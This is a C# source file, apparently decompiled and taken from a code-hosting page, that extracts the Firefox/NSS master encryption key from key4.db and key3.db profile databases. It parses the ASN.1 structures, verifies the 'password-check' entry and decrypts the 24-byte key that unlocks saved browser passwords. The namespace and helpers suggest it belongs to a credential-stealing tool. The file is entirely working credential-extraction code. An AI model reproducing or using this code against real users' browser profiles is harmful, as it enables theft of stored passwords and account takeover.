179 lines
5.9 KiB
C#
179 lines
5.9 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Globalization;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Text;
|
|
using Intelix.Helper.Hashing;
|
|
using Intelix.Helper.Sql;
|
|
|
|
namespace Intelix.Helper.Encrypted;
|
|
|
|
public static class NssDumpMasterKey
|
|
{
|
|
public static byte[] Key4Database(string path)
|
|
{
|
|
Asn1Der asn1Der = new Asn1Der();
|
|
SqLite sqLite = SqLite.ReadTable(path, "metaData");
|
|
if (sqLite == null)
|
|
{
|
|
return null;
|
|
}
|
|
for (int i = 0; i < sqLite.GetRowCount(); i++)
|
|
{
|
|
if (sqLite.GetValue(i, 0) != "password")
|
|
{
|
|
continue;
|
|
}
|
|
byte[] bytes = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 1));
|
|
byte[] bytes2 = Encoding.UTF8.GetBytes(sqLite.GetValue(i, 2));
|
|
if (bytes.Length < 1 || bytes2.Length < 1)
|
|
{
|
|
continue;
|
|
}
|
|
Asn1DerObject asn1DerObject = asn1Der.Parse(bytes2);
|
|
string text = asn1DerObject.ToString();
|
|
if (text == null)
|
|
{
|
|
continue;
|
|
}
|
|
if (text.Contains("2A864886F70D010C050103"))
|
|
{
|
|
byte[] array = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
|
byte[] array2 = asn1DerObject.Objects[0]?.Objects[1]?.Data;
|
|
if (array == null || array2 == null)
|
|
{
|
|
continue;
|
|
}
|
|
byte[] bytes3 = new TripleDes(array2, bytes, new byte[0], array).Compute();
|
|
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes3).StartsWith("password-check"))
|
|
{
|
|
continue;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (!text.Contains("2A864886F70D01050D"))
|
|
{
|
|
continue;
|
|
}
|
|
byte[] array3 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[0]?.Objects[1]?.Objects[0]?.Data;
|
|
byte[] array4 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[2]?.Objects[1]?.Data;
|
|
byte[] array5 = asn1DerObject.Objects[0]?.Objects[0]?.Objects[1]?.Objects[3]?.Data;
|
|
if (array3 == null || array4 == null || array5 == null)
|
|
{
|
|
continue;
|
|
}
|
|
byte[] bytes4 = new PBE(array5, bytes, new byte[0], array3, array4).Compute();
|
|
if (!Encoding.GetEncoding("ISO-8859-1").GetString(bytes4).StartsWith("password-check"))
|
|
{
|
|
continue;
|
|
}
|
|
}
|
|
sqLite = SqLite.ReadTable(path, "nssPrivate");
|
|
if (sqLite != null)
|
|
{
|
|
int num = 0;
|
|
if (num < sqLite.GetRowCount())
|
|
{
|
|
byte[] bytes5 = Encoding.UTF8.GetBytes(sqLite.GetValue(num, 6));
|
|
Asn1DerObject asn1DerObject2 = asn1Der.Parse(bytes5);
|
|
byte[] sourceArray = new PBE(entrySalt: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[0].Objects[1].Objects[0].Data, partIv: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[2].Objects[1].Data, ciphertext: asn1DerObject2.Objects[0].Objects[0].Objects[1].Objects[3].Data, globalSalt: bytes, masterPassword: new byte[0]).Compute();
|
|
byte[] array6 = new byte[24];
|
|
Array.Copy(sourceArray, array6, array6.Length);
|
|
return array6;
|
|
}
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
public static byte[] Key3Database(string path)
|
|
{
|
|
byte[] array = File.ReadAllBytes(path);
|
|
if (array == null)
|
|
{
|
|
return null;
|
|
}
|
|
Asn1Der asn1Der = new Asn1Der();
|
|
BerkeleyDB berkeleyDB = new BerkeleyDB(array);
|
|
string text = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
|
{
|
|
KeyValuePair<string, string> keyValuePair = p;
|
|
return keyValuePair.Key.Equals("password-check");
|
|
}).Select(delegate(KeyValuePair<string, string> p)
|
|
{
|
|
KeyValuePair<string, string> keyValuePair = p;
|
|
return keyValuePair.Value;
|
|
}).FirstOrDefault();
|
|
if (text == null)
|
|
{
|
|
return null;
|
|
}
|
|
text = text.Replace("-", null);
|
|
int num = int.Parse(text.Substring(2, 2), NumberStyles.HexNumber) * 2;
|
|
string hexString = text.Substring(6, num);
|
|
int num2 = text.Length - (6 + num + 36);
|
|
string hexString2 = text.Substring(6 + num + 4 + num2);
|
|
string text2 = berkeleyDB.Keys.Where(delegate(KeyValuePair<string, string> p)
|
|
{
|
|
KeyValuePair<string, string> keyValuePair = p;
|
|
return keyValuePair.Key.Equals("global-salt");
|
|
}).Select(delegate(KeyValuePair<string, string> p)
|
|
{
|
|
KeyValuePair<string, string> keyValuePair = p;
|
|
return keyValuePair.Value;
|
|
}).FirstOrDefault();
|
|
if (text2 == null)
|
|
{
|
|
return null;
|
|
}
|
|
text2 = text2.Replace("-", null);
|
|
TripleDes tripleDes = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), HexToBytes(hexString));
|
|
tripleDes.ComputeVoid();
|
|
if (!TripleDes.DecryptStringDesCbc(tripleDes.Key, tripleDes.Vector, HexToBytes(hexString2)).StartsWith("password-check"))
|
|
{
|
|
return null;
|
|
}
|
|
string text3 = (from p in berkeleyDB.Keys
|
|
where !p.Key.Equals("global-salt") && !p.Key.Equals("Version") && !p.Key.Equals("password-check")
|
|
select p.Value).FirstOrDefault();
|
|
if (text3 == null)
|
|
{
|
|
return null;
|
|
}
|
|
text3 = text3.Replace("-", "");
|
|
Asn1DerObject asn1DerObject = asn1Der.Parse(HexToBytes(text3));
|
|
TripleDes tripleDes2 = new TripleDes(HexToBytes(text2), Encoding.ASCII.GetBytes(""), asn1DerObject.Objects[0].Objects[0].Objects[1].Objects[0].Data);
|
|
tripleDes2.ComputeVoid();
|
|
byte[] toParse = TripleDes.DecryptByteDesCbc(tripleDes2.Key, tripleDes2.Vector, asn1DerObject.Objects[0].Objects[1].Data);
|
|
Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse);
|
|
Asn1DerObject asn1DerObject3 = asn1Der.Parse(asn1DerObject2.Objects[0].Objects[2].Data);
|
|
byte[] array2 = new byte[24];
|
|
if (asn1DerObject3.Objects[0].Objects[3].Data.Length > 24)
|
|
{
|
|
Array.Copy(asn1DerObject3.Objects[0].Objects[3].Data, asn1DerObject3.Objects[0].Objects[3].Data.Length - 24, array2, 0, 24);
|
|
}
|
|
else
|
|
{
|
|
array2 = asn1DerObject3.Objects[0].Objects[3].Data;
|
|
}
|
|
return array2;
|
|
}
|
|
|
|
public static byte[] HexToBytes(string hexString)
|
|
{
|
|
if (hexString.Length % 2 != 0)
|
|
{
|
|
return null;
|
|
}
|
|
byte[] array = new byte[hexString.Length / 2];
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
string s = hexString.Substring(i * 2, 2);
|
|
array[i] = byte.Parse(s, NumberStyles.HexNumber, CultureInfo.InvariantCulture);
|
|
}
|
|
return array;
|
|
}
|
|
}
|